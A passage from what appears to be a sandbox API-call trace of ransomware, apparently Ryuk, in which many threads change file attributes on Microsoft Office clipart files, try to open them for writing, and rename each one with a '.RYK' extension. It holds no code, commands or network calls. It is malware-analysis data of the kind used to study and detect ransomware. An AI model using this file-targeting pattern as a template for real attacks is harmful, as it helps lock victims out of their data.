	[0202.579] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1657
	os_tid = 0x1fdc

	[0202.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF", dwFileAttributes=0x80) returned 0
	[0202.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0202.580] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0202.581] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1658
	os_tid = 0x1fe0

	[0202.008] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF", dwFileAttributes=0x80) returned 0
	[0202.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0202.582] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0202.583] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1659
	os_tid = 0x1fe4

	[0202.013] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF", dwFileAttributes=0x80) returned 0
	[0202.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0202.585] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0202.585] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1660
	os_tid = 0x1fe8

	[0202.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF", dwFileAttributes=0x80) returned 0
	[0202.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0202.593] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0202.594] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1661
	os_tid = 0x1fec

	[0202.049] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF", dwFileAttributes=0x80) returned 0
	[0202.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0202.595] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0202.596] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1662
	os_tid = 0x1ff0

	[0202.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF", dwFileAttributes=0x80) returned 0
	[0202.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0202.600] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0202.600] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1663
	os_tid = 0x1ff4

	[0202.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF", dwFileAttributes=0x80) returned 0
	[0202.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0202.602] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0202.602] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1664
	os_tid = 0x1ff8

	[0202.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF", dwFileAttributes=0x80) returned 0
	[0202.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0202.055] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0202.055] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1665
	os_tid = 0x1ffc

	[0202.604] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF", dwFileAttributes=0x80) returned 0
	[0202.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0202.604] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0202.604] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1675
	os_tid = 0x1d3c

	[0202.606] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF", dwFileAttributes=0x80) returned 0
	[0202.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0202.607] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0202.607] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1676
	os_tid = 0x169c

	[0202.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF", dwFileAttributes=0x80) returned 0
	[0203.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0203.078] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0203.080] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1677
	os_tid = 0x1c3c

	[0202.610] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF", dwFileAttributes=0x80) returned 0
	[0203.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0203.082] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0203.082] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1678
	os_tid = 0x16b4

	[0202.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF", dwFileAttributes=0x80) returned 0
	[0203.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0203.084] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0203.085] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1679
	os_tid = 0x1d98

	[0202.613] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF", dwFileAttributes=0x80) returned 0
	[0203.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0203.086] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0203.087] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1680
	os_tid = 0x1d94

	[0202.625] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF", dwFileAttributes=0x80) returned 0
	[0203.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0203.089] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0203.089] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1681
	os_tid = 0x2004

	[0202.627] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF", dwFileAttributes=0x80) returned 0
	[0202.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0202.627] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0202.628] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1682
	os_tid = 0x2008

	[0202.630] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID", dwFileAttributes=0x80) returned 0
	[0203.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0203.091] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0203.092] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1683
	os_tid = 0x200c

	[0203.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID", dwFileAttributes=0x80) returned 0
	[0203.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0203.724] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0203.724] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1693
	os_tid = 0x2038

	[0203.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF", dwFileAttributes=0x80) returned 0
	[0203.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0203.727] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0203.728] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1694
	os_tid = 0x203c

	[0203.096] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID", dwFileAttributes=0x80) returned 0
	[0203.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0203.730] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0203.731] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1695
	os_tid = 0x2040

	[0203.098] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID", dwFileAttributes=0x80) returned 0
	[0203.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0203.098] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0203.098] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1696
	os_tid = 0x2044

	[0203.101] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF", dwFileAttributes=0x80) returned 0
	[0203.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0203.734] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0203.734] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1697
	os_tid = 0x2048

	[0203.102] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF", dwFileAttributes=0x80) returned 0
	[0203.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0203.736] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0203.736] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1698
	os_tid = 0x204c

	[0203.104] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF", dwFileAttributes=0x80) returned 0
	[0203.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0203.105] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0203.105] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1699
	os_tid = 0x2050

	[0203.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF", dwFileAttributes=0x80) returned 0
	[0203.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0203.107] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0203.107] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1700
	os_tid = 0x2054

	[0203.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF", dwFileAttributes=0x80) returned 0
